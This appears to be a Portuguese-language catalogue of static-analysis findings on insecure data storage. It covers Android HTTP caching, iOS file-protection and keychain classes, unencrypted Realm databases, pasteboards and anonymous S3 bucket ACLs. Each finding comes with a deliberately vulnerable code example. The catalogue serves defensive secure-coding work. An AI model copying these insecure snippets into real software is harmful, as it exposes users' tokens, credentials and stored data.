As respostas HTTP(S) podem conter dados confidenciais, como cookies da sessão e tokens de API. O sistema de carregamento de URL armazenará em cache todas as respostas HTTP(S) para fins de desempenho, armazenando-as sem criptografia em um armazenamento compartilhado inseguro.

Exemplo 1: O código a seguir instala o cache de resposta HTTP(S) no espaço de armazenamento compartilhado:

    protected void onCreate(Bundle savedInstanceState) {
       ...

       try {
           File httpCacheDir = new File(context.getExternalCacheDir(), "http");
           long httpCacheSize = 10 * 1024 * 1024; // 10 MiB
           HttpResponseCache.install(httpCacheDir, httpCacheSize);
       } catch (IOException e) {
           Log.i(TAG, "HTTP response cache installation failed:" + e);
       }
    }

    protected void onStop() {
       ...

       HttpResponseCache cache = HttpResponseCache.getInstalled();
       if (cache != null) {
           cache.flush();
       }
   }

As respostas HTTP(S) podem conter dados confidenciais, como cookies da sessão e tokens de API. O sistema de carregamento de URL armazenará em cache todas as respostas HTTP(S) para fins de desempenho, armazenando-as de forma descriptografada nos arquivos {app ID}/Library/Caches/com.mycompany.myapp/Cache.db*.
Os desenvolvedores podem pensar que ao definir as propriedades diskCapacity ou memoryCapacity da classe URLCache como 0, eles podem estar desabilitando efetivamente o sistema de cache de respostas HTTP(S). No entanto, a documentação de NSURLCache indica que os caches no disco e na memória serão truncados para os tamanhos configurados somente se o dispositivo estiver sendo executado com pouca memória ou pouco espaço em disco. Ambas as configurações são usadas pelo sistema para liberar recursos do sistema e melhorar o desempenho, não como um controle de segurança.

A API de Proteção de dados foi projetada para permitir que os aplicativos declarem quando os itens no conjunto de chaves e os arquivos armazenados no sistema de arquivos deveriam estar acessíveis. Ela está disponível para a maioria dos arquivos de banco de dados e APIs, incluindo NSFileManager, CoreData, NSData e SQLite. Ao especificar uma das quatro classes de proteção a um determinado recurso, um desenvolvedor pode instruir o sistema de arquivos subjacente para criptografá-lo usando uma chave derivada da UID do dispositivo e a senha do usuário ou usando uma chave baseada exclusivamente no UID do dispositivo (bem como quando descriptografá-lo automaticamente).

As classes de Proteção de dados são definidas para o NSFileManager como constantes que devem ser atribuídas como o valor da chave NSFileProtectionKey em um NSDictionary associado à instância do NSFileManager, e os arquivos podem ser criados ou a classe de proteção de dados deles pode ser modificada por meio da utilização das funções do NSFileManager, incluindo setAttributes:ofItemAtPath:error:, attributesOfItemAtPath:error: e createFileAtPath:contents:attributes:. Além disso, as constantes correspondentes de Proteção de dados são definidas para objetos NSData como NSDataWritingOptions que podem ser transmitidas como o argumento options para as funções NSDatawriteToURL:options:error: e writeToFile:options:error:. As definições para as diversas constantes de classe de Proteção de dados do NSFileManager e do NSData são as seguintes:

-NSFileProtectionComplete, NSDataWritingFileProtectionComplete:
O recurso é armazenado no disco em um formato criptografado e não pode ser lido, ou gravado enquanto o dispositivo estiver bloqueado ou inicializando.
Disponível em iOS 4.0 ou posterior.
-NSFileProtectionCompleteUnlessOpen, NSDataWritingFileProtectionCompleteUnlessOpen:
O recurso é armazenado no disco em um formato criptografado. Os recursos podem ser criados enquanto o dispositivo estiver bloqueado, mas uma vez fechado, não poderá ser aberto novamente até que o dispositivo seja desbloqueado. Se o recurso estiver aberto ao ser desbloqueado, você poderá continuar a acessar o recurso normalmente, mesmo que o usuário bloqueie o dispositivo.
Disponível em iOS 5.0 ou posterior.
-NSFileProtectionCompleteUntilFirstUserAuthentication, NSDataWritingFileProtectionCompleteUntilFirstUserAuthentication:
O recurso é armazenado no disco em um formato criptografado e só poderá ser acessado depois do dispositivo inicializar. Depois que o usuário desbloquear o dispositivo pela primeira vez, o aplicativo poderá acessar o recurso e continuar a acessá-lo mesmo que o usuário bloqueie o dispositivo logo em seguida.
Disponível em iOS 5.0 ou posterior.
-NSFileProtectionNone, NSDataWritingFileProtectionNone:
O recurso não tem proteções especiais associadas a ele. Ele pode ser lido ou gravado a qualquer momento.
Disponível em iOS 4.0 ou posterior.

Então, enquanto marcar um arquivo com NSFileProtectionCompleteUnlessOpen ou NSFileProtectionCompleteUntilFirstUserAuthentication garantirá a encriptação deles por meio de uma chave derivada da senha do usuário e do UID do dispositivo, os dados ainda permanecerão acessíveis sob certas circunstâncias. Como tal, os usos de NSFileProtectionCompleteUnlessOpen ou NSFileProtectionCompleteUntilFirstUserAuthentication devem ser estudados cautelosamente para determinar se uma proteção aprofundada com o NSFileProtectionComplete é garantida.

Exemplo 1: Neste exemplo, o arquivo só está protegido até que o usuário ligue o dispositivo e digite a senha pela primeira vez (até a próxima reinicialização):

...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSDictionary *protection = [NSDictionary dictionaryWithObject:NSFileProtectionCompleteUntilFirstUserAuthentication forKey:NSFileProtectionKey];
...
[[NSFileManager defaultManager] setAttributes:protection ofItemAtPath:filepath error:nil];
...
BOOL ok = [testToWrite writeToFile:filepath atomically:YES encoding:NSUnicodeStringEncoding error:&err];
...

Exemplo 2: Neste exemplo, os dados só estão protegidos até que o usuário ligue o dispositivo e digite a senha pela primeira vez (até a próxima reinicialização):

...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSData *textData = [textToWrite dataUsingEncoding:NSUnicodeStingEncoding];
...
BOOL ok = [textData writeToFile:filepath options:NSDataWritingFileProtectionCompleteUntilFirstUserAuthentication error:&err];
...

As constantes de acessibilidade do conjunto de chaves são projetadas para permitir que os aplicativos declarem quando os itens no conjunto de chaves devem estar acessíveis. Ao especificar uma das constantes de acessibilidade de um determinado item de conjunto de chaves, um desenvolvedor pode instruir o sistema de arquivos subjacente para criptografá-lo usando uma chave derivada do UID do dispositivo e da senha do usuário ou usando uma chave baseada exclusivamente no UID do dispositivo (bem como ao descriptografá-lo automaticamente).

As constantes de acessibilidade do conjunto de chaves devem ser atribuídas como o valor da chave kSecAttrAccessible no dicionário de atributos do conjunto de chaves. As definições das diversas constantes de acessibilidade do conjunto de chaves são as seguintes:

-kSecAttrAccessibleAfterFirstUnlock:
Os dados no item de conjunto de chaves não poderão ser acessados após uma reinicialização até que o dispositivo tenha sido desbloqueado uma vez pelo usuário.
Após o primeiro desbloqueio, os dados permanecem acessíveis até a próxima reinicialização. Isso é recomendado para os itens que precisam ser acessados por aplicativos em segundo plano. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
Os dados no item de conjunto de chaves não poderão ser acessados após uma reinicialização até que o dispositivo tenha sido desbloqueado uma vez pelo usuário.
Após o primeiro desbloqueio, os dados permanecem acessíveis até a próxima reinicialização. Isso é recomendado para os itens que precisam ser acessados por aplicativos em segundo plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleAlways:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
Os dados no conjunto de chaves só podem ser acessados quando o dispositivo está desbloqueado. Disponível somente se uma senha estiver definida no dispositivo.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo nunca migram para um novo dispositivo. Depois que um backup é restaurado para um novo dispositivo, esses itens estarão ausentes. Nenhum item pode ser armazenado nesta classe em dispositivos sem uma senha. Desabilitar a senha do dispositivo faz com que todos os itens dessa classe sejam excluídos.
Disponível em iOS 8.0 ou posterior.

-kSecAttrAccessibleAlwaysThisDeviceOnly:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlocked:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Esse é o valor padrão para os itens do conjunto de chaves adicionados sem definir explicitamente uma constante de acessibilidade.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

Portanto, enquanto marcar um item de conjunto de chaves com kSecAttrAccessibleAfterFirstUnlock garantirá criptografá-lo por meio de uma chave derivada da senha do usuário e do UID do dispositivo, os dados ainda permanecerão acessíveis sob certas circunstâncias. Como tal, os usos de kSecAttrAccessibleAfterFirstUnlock devem ser estudados cautelosamente para determinar se uma proteção aprofundada é garantida.

Exemplo 1: Neste exemplo, o item de conjunto de chaves só estará protegido até que o usuário ligue o dispositivo e digite a senha pela primeira vez (até a próxima reinicialização):

...
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

    // Configure KeyChain Item
    [dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
    [dict setObject:token forKey:(__bridge id)kSecValueData];
    ...
    [dict setObject:(__bridge id)kSecAttrAccessibleAfterFirstUnlock forKey:(__bridge id) kSecAttrAccessible];

    OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...

A API de Proteção de dados foi projetada para permitir que os aplicativos declarem quando os itens no conjunto de chaves e os arquivos armazenados no sistema de arquivos deveriam estar acessíveis. Ela está disponível para a maioria dos arquivos de banco de dados e APIs, incluindo NSFileManager, CoreData, NSData e SQLite. Ao especificar uma das quatro classes de proteção a um determinado recurso, um desenvolvedor pode instruir o sistema de arquivos subjacente para criptografá-lo usando uma chave derivada da UID do dispositivo e a senha do usuário ou usando uma chave baseada exclusivamente no UID do dispositivo (bem como quando descriptografá-lo automaticamente).

As classes de Proteção de dados são definidas para o NSFileManager como constantes que devem ser atribuídas como o valor da chave NSFileProtectionKey em um NSDictionary associado à instância do NSFileManager, e os arquivos podem ser criados ou a classe de proteção de dados deles pode ser modificada por meio da utilização das funções do NSFileManager, incluindo setAttributes:ofItemAtPath:error:, attributesOfItemAtPath:error: e createFileAtPath:contents:attributes:. Além disso, as constantes correspondentes de Proteção de dados são definidas para objetos NSData como NSDataWritingOptions que podem ser transmitidas como o argumento options para as funções NSDatawriteToURL:options:error: e writeToFile:options:error:. As definições para as diversas constantes de classe de Proteção de dados do NSFileManager e do NSData são as seguintes:

-NSFileProtectionComplete, NSDataWritingFileProtectionComplete:
O recurso é armazenado no disco em um formato criptografado e não pode ser lido, ou gravado enquanto o dispositivo estiver bloqueado ou inicializando.
Disponível em iOS 4.0 ou posterior.
-NSFileProtectionCompleteUnlessOpen, NSDataWritingFileProtectionCompleteUnlessOpen:
O recurso é armazenado no disco em um formato criptografado. Os recursos podem ser criados enquanto o dispositivo estiver bloqueado, mas uma vez fechado, não poderá ser aberto novamente até que o dispositivo seja desbloqueado. Se o recurso estiver aberto ao ser desbloqueado, você poderá continuar a acessar o recurso normalmente, mesmo que o usuário bloqueie o dispositivo.
Disponível em iOS 5.0 ou posterior.
-NSFileProtectionCompleteUntilFirstUserAuthentication, NSDataWritingFileProtectionCompleteUntilFirstUserAuthentication:
O recurso é armazenado no disco em um formato criptografado e só poderá ser acessado depois do dispositivo inicializar. Depois que o usuário desbloquear o dispositivo pela primeira vez, o aplicativo poderá acessar o recurso e continuar a acessá-lo mesmo que o usuário bloqueie o dispositivo logo em seguida.
Disponível em iOS 5.0 ou posterior.
-NSFileProtectionNone, NSDataWritingFileProtectionNone:
O recurso não tem proteções especiais associadas a ele. Ele pode ser lido ou gravado a qualquer momento.
Disponível em iOS 4.0 ou posterior.

Mesmo que todos os arquivos em um dispositivo iOS, incluindo aqueles sem uma classe de Proteção de dados explicitamente atribuída a eles, sejam armazenados em uma forma criptografada, especificando resultados NSFileProtectionNone na criptografia utilizando uma chave derivada unicamente baseada no UID do dispositivo. Isso faz com que esses arquivos sejam acessíveis a qualquer momento em que o dispositivo estiver ligado, mesmo quando está iniciando ou bloqueado com uma senha. Como tal, os usos da NSFileProtectionNone devem ser estudados cautelosamente para determinar se uma proteção aprofundada com uma classe mais rigorosa de Proteção de dados é garantida.

Exemplo 1: Neste exemplo, o arquivo não está protegido (é acessível a qualquer momento em que o dispositivo estiver ligado):

...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSDictionary *protection = [NSDictionary dictionaryWithObject:NSFileProtectionNone forKey:NSFileProtectionKey];
...
[[NSFileManager defaultManager] setAttributes:protection ofItemAtPath:filepath error:nil];
...
BOOL ok = [testToWrite writeToFile:filepath atomically:YES encoding:NSUnicodeStringEncoding error:&err];
...

Exemplo 2: Neste exemplo, os dados não estão protegidos (são acessíveis a qualquer momento em que o dispositivo estiver ligado):

...
filepath = [self.GetDocumentDirectory stringByAppendingPathComponent:self.setFilename];
...
NSData *textData = [textToWrite dataUsingEncoding:NSUnicodeStingEncoding];
...
BOOL ok = [textData writeToFile:filepath options:NSDataWritingFileProtectionNone error:&err];
...

As constantes de acessibilidade do conjunto de chaves são projetadas para permitir que os aplicativos declarem quando os itens no conjunto de chaves devem estar acessíveis. Ao especificar uma das constantes de acessibilidade de um determinado item de conjunto de chaves, um desenvolvedor pode instruir o sistema de arquivos subjacente para criptografá-lo usando uma chave derivada do UID do dispositivo e da senha do usuário ou usando uma chave baseada exclusivamente no UID do dispositivo (bem como ao descriptografá-lo automaticamente).

As constantes de acessibilidade do conjunto de chaves devem ser atribuídas como o valor da chave kSecAttrAccessible no dicionário de atributos do conjunto de chaves. As definições das diversas constantes de acessibilidade do conjunto de chaves são as seguintes:

-kSecAttrAccessibleAfterFirstUnlock:
Os dados no item de conjunto de chaves não poderão ser acessados após uma reinicialização até que o dispositivo tenha sido desbloqueado uma vez pelo usuário.
Após o primeiro desbloqueio, os dados permanecem acessíveis até a próxima reinicialização. Isso é recomendado para os itens que precisam ser acessados por aplicativos em segundo plano. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
Os dados no item de conjunto de chaves não poderão ser acessados após uma reinicialização até que o dispositivo tenha sido desbloqueado uma vez pelo usuário.
Após o primeiro desbloqueio, os dados permanecem acessíveis até a próxima reinicialização. Isso é recomendado para os itens que precisam ser acessados por aplicativos em segundo plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleAlways:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
Os dados no conjunto de chaves só podem ser acessados quando o dispositivo está desbloqueado. Disponível somente se uma senha estiver definida no dispositivo.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo nunca migram para um novo dispositivo. Depois que um backup é restaurado para um novo dispositivo, esses itens estarão ausentes. Nenhum item pode ser armazenado nesta classe em dispositivos sem uma senha. Desabilitar a senha do dispositivo faz com que todos os itens dessa classe sejam excluídos.
Disponível em iOS 8.0 ou posterior.

-kSecAttrAccessibleAlwaysThisDeviceOnly:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlocked:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Esse é o valor padrão para os itens do conjunto de chaves adicionados sem definir explicitamente uma constante de acessibilidade.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

Mesmo que todos os arquivos em um dispositivo iOS, incluindo aqueles sem uma constante de acessibilidade de conjunto de chaves, explicitamente atribuída, sejam armazenados em uma forma criptografada, especificar kSecAttrAccessibleAlways resulta no uso de uma chave derivada unicamente baseada no UID do dispositivo pela criptografia. Isso faz com que esses arquivos sejam acessíveis a qualquer momento em que o dispositivo estiver ligado, mesmo quando está iniciando ou bloqueado com uma senha. Como tal, os usos de kSecAttrAccessibleAlways deverão ser estudados cautelosamente para determinar se uma proteção aprofundada com um nível de acessibilidade de conjunto de chaves mais rigoroso é garantida.

Exemplo 1: Neste exemplo, o arquivo não está protegido (é acessível a qualquer momento em que o dispositivo estiver ligado):

...
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

    // Configure KeyChain Item
    [dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
    [dict setObject:token forKey:(__bridge id)kSecValueData];
    ...
    [dict setObject:(__bridge id)kSecAttrAccessibleAlways forKey:(__bridge id) kSecAttrAccessible];

    OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...

Os arquivos do aplicativo podem ser acessados por outros aplicativos em dispositivos com root ou em backups não criptografados. Como um usuário poderia decidir fazer o jailbreak de seu dispositivo ou realizar backups não criptografados, é uma prática recomendada criptografar bancos de dados que contenham dados confidenciais.

Exemplo 1: O código a seguir estabelece uma conexão com um banco de dados Realm não criptografado:

    Realm realm = Realm.getDefaultInstance();

Os arquivos salvos no álbum de fotos do iOS são de leitura para todos e podem ser acessados por qualquer aplicativo no dispositivo. Isso poderia permitir a um invasor roubar fotos confidenciais, tais como os de cheques utilizados para depósitos em cheque via celular.

Exemplo 1: Este código utiliza o UIImageWriteToSavedPhotosAlbum para salvar imagens no álbum de fotos:

- (void) imagePickerController:(UIImagePickerController *)picker didFinishPickingMediaWithInfo:(NSDictionary *)info
{
	// Access the uncropped image from info dictionary
	UIImage *image = [info objectForKey:UIImagePickerControllerOriginalImage];

  // Save image
  UIImageWriteToSavedPhotosAlbum(image, self, @selector(image:didFinishSavingWithError:contextInfo:), nil);

	...
}

Os níveis de acessibilidade de conjunto de chaves definem quando os itens do conjunto de chaves são descriptografados e disponibilizados para aplicativos. Os níveis possíveis de acessibilidade incluem:

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
Os dados no item de conjunto de chaves não poderão ser acessados após uma reinicialização até que o dispositivo tenha sido desbloqueado uma vez pelo usuário.
Após o primeiro desbloqueio, os dados permanecem acessíveis até a próxima reinicialização. Isso é recomendado para os itens que precisam ser acessados por aplicativos em segundo plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleAlways:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
Os dados no conjunto de chaves só podem ser acessados quando o dispositivo está desbloqueado. Disponível somente se uma senha estiver definida no dispositivo.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo nunca migram para um novo dispositivo. Depois que um backup é restaurado para um novo dispositivo, esses itens estarão ausentes. Nenhum item pode ser armazenado nesta classe em dispositivos sem uma senha. Desabilitar a senha do dispositivo faz com que todos os itens dessa classe sejam excluídos.
Disponível em iOS 8.0 ou posterior.

-kSecAttrAccessibleAlwaysThisDeviceOnly:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlocked:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Esse é o valor padrão para os itens do conjunto de chaves adicionados sem definir explicitamente uma constante de acessibilidade.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
Os dados no item de conjunto de chaves só podem ser acessados quando o dispositivo é desbloqueado pelo usuário.
Isso é recomendado para itens que só precisam ser acessíveis enquanto o aplicativo está em primeiro plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

Se os itens de conjunto de chaves forem armazenados com uma política razoavelmente segura, como kSecAttrAccessibleWhenUnlocked, se o dispositivo for roubado e uma senha for definida, o roubo precisará desbloquear o dispositivo para que os itens de conjunto de chaves sejam descriptografados. A falha ao digitar a senha correta bloqueará a descriptografia dos itens de conjunto de chaves do roubo. No entanto, se a senha não estiver definida, o invasor só precisará deslizar o dedo para desbloquear o dispositivo e obter o conjunto de chaves para descriptografar os itens. Portanto, a falha ao aplicar uma senha no dispositivo pode enfraquecer o mecanismo de criptografia do conjunto de chaves.

Exemplo 1: No exemplo a seguir, o item de conjunto de chaves está protegido o tempo todo, exceto quando o dispositivo está ligado e desbloqueado, mas também está disponível quando uma senha não está definida no dispositivo:

...
    NSMutableDictionary *dict = [NSMutableDictionary dictionary];
    NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

    // Configure KeyChain Item
    [dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
    [dict setObject:token forKey:(__bridge id)kSecValueData];
    ...
    [dict setObject:(__bridge id)kSecAttrAccessibleWhenUnlockedThisDeviceOnly forKey:(__bridge id) kSecAttrAccessible];

    OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...

Áreas de trabalho nomeadas permitem que os desenvolvedores compartilhem dados com outras partes de um aplicativo ou com outros aplicativos que tenham o mesmo ID de equipe. A configuração de áreas de trabalho nomeadas como persistentes é um recurso obsoleto que pode levar à exposição de dados confidenciais. Quando uma área de transferência é marcada como persistente, os dados armazenados na área de transferência podem ser salvos sem criptografia no armazenamento local e persistem nas reinicializações do aplicativo e do dispositivo.
Exemplo 1: No exemplo a seguir, uma área de transferência nomeada é criada e configurada como persistente invocando setPersistent:YES.

  ...
  UIPasteboard *pasteboard = [UIPasteboard pasteboardWithName:@"myPasteboard" create:YES];
  [pasteboard setPersistent:YES];
  ...

A concessão de acesso anônimo completo a um bucket ou objeto permite que os invasores leiam o conteúdo ou o substituam por conteúdo mal-intencionado.

Exemplo 1: O código a seguir define uma Access Control Policy que concede acesso anônimo completo ao bucket foo.

    GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
    GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
    List<Grant> grants = getAclRes.grants();

    Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
    Permission fc_permission = Permission.fromValue("FullControl");
    Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
    grants.add(grant);

    AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();

A concessão de permissão anônima para ler um bucket ou um objeto Access Control Policy (ACP) permite que os invasores descubram quais objetos podem ser recuperados ou sobrescritos.

Exemplo 1: O código a seguir define uma Access Control Policy que concede acesso ACP de gravação anônimo ao bucket foo.

    GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
    GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
    List<Grant> grants = getAclRes.grants();

    Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
    Permission fc_permission = Permission.fromValue("READ_ACP");
    Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
    grants.add(grant);

    AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();

A concessão de acesso anônimo de leitura a um bloco ou objeto permitirá que os invasores leiam seu conteúdo.

Exemplo 1: O código a seguir define uma Access Control Policy que concede acesso de leitura anônimo ao bucket foo.

    GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
    GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
    List<Grant> grants = getAclRes.grants();

    Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
    Permission fc_permission = Permission.fromValue("Read");
    Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
    grants.add(grant);

    AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();

A concessão de permissão anônima para gravar um bucket ou objeto Access Control Policy (ACP) permite que os invasores leiam ou gravem qualquer conteúdo nesse bucket.

Exemplo 1: O código a seguir define uma Access Control Policy que concede acesso ACP de gravação anônimo ao bucket foo.

    GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
    GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
    List<Grant> grants = getAclRes.grants();

    Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
    Permission fc_permission = Permission.fromValue("WRITE_ACP");
    Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
    grants.add(grant);

    AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();

A concessão de acesso de gravação anônimo a um bucket ou objeto permite que os invasores substituam o conteúdo ou façam upload de conteúdo mal-intencionado.

Exemplo 1: O código a seguir define uma Access Control Policy que concede acesso de gravação anônimo ao bucket foo.

    GetBucketAclRequest bucketAclReq = GetBucketAclRequest.builder().bucket("foo").build();
    GetBucketAclResponse getAclRes = s3.getBucketAcl(bucketAclReq);
    List<Grant> grants = getAclRes.grants();

    Grantee allusers = Grantee.builder().uri("http://acs.amazonaws.com/groups/global/AllUsers").build();
    Permission fc_permission = Permission.fromValue("Write");
    Grant grant = Grant.builder().grantee(allusers).permission(fc_permission).build();
    grants.add(grant);

    AccessControlPolicy acl = AccessControlPolicy.builder().grants(grants).build();

A função identificada grava dados na área de transferência geral sem excluí-los da sincronização da área de transferência universal entre dispositivos via Handoff.

O conteúdo gravado na área de transferência geral é armazenado de forma persistente em reinicializações de dispositivos, desinstalações de aplicativos e restaurações de aplicativos. Usar a área de transferência geral com o recurso Área de transferência universal ativado aumenta o risco de dados roubados ou modificados da área de transferência como parte de um ataque de sequestro da área de transferência por um aplicativo mal-intencionado em execução em outro dispositivo.

Além disso, como a Área de transferência universal é compatível com dispositivos que executam o iOS 10 e posterior ou macOS Sierra e posterior, uma ameaça maior é introduzida por dispositivos compatíveis que executam um sistema operacional mais antigo que não contém atualizações de privacidade e segurança mais recentes destinadas a proteger o acesso não autorizado à área de transferência .

Exemplo 1: No código a seguir, os dados são gravados na área de trabalho geral definindo a propriedade items, que compartilha o conteúdo da área de transferência entre os dispositivos do usuário por padrão via área de transferência universal.

...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
NSDictionary *items = @{
    UTTypePlainText : sensitiveDataString,
    UTTypePNG : [UIImage imageWithData:medicalImageData]
};
[pasteboard setItems: @[items]];
...

Exemplo 2: No código a seguir, os dados são gravados na área de transferência geral chamando o método setObjects:localOnly:expirationDate: com o comportamento da área de transferência universal explicitamente ativado, definindo o parâmetro localOnly como NO.

...
UIPasteboard *pasteboard = [UIPasteboard generalPasteboard];
[pasteboard setObjects:@[sensitiveDataString, [UIImage imageWithData:medicalImageData]] 
            localOnly:NO 
            expirationDate:[NSDate distantFuture]];
...

Ao armazenar dados no conjunto de chaves, um nível de acessibilidade, que define quando será possível acessar o item, precisa ser configurado. Os níveis possíveis de acessibilidade incluem:

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
Os dados no item de conjunto de chaves não poderão ser acessados após uma reinicialização até que o dispositivo tenha sido desbloqueado uma vez pelo usuário.
Após o primeiro desbloqueio, os dados permanecem acessíveis até a próxima reinicialização. Isso é recomendado para os itens que precisam ser acessados por aplicativos em segundo plano. Os itens com esse atributo não migram para um novo dispositivo. Assim, após a restauração de um backup de um dispositivo diferente, esses itens não estarão presentes.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleAlways:
Os dados no item de conjunto de chaves sempre podem ser acessados independentemente do dispositivo estar bloqueado.
Isso não é recomendado para uso do aplicativo. Os itens com esse atributo migram para um novo dispositivo ao usar backups criptografados.
Disponível em iOS 4.0 ou posterior.

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
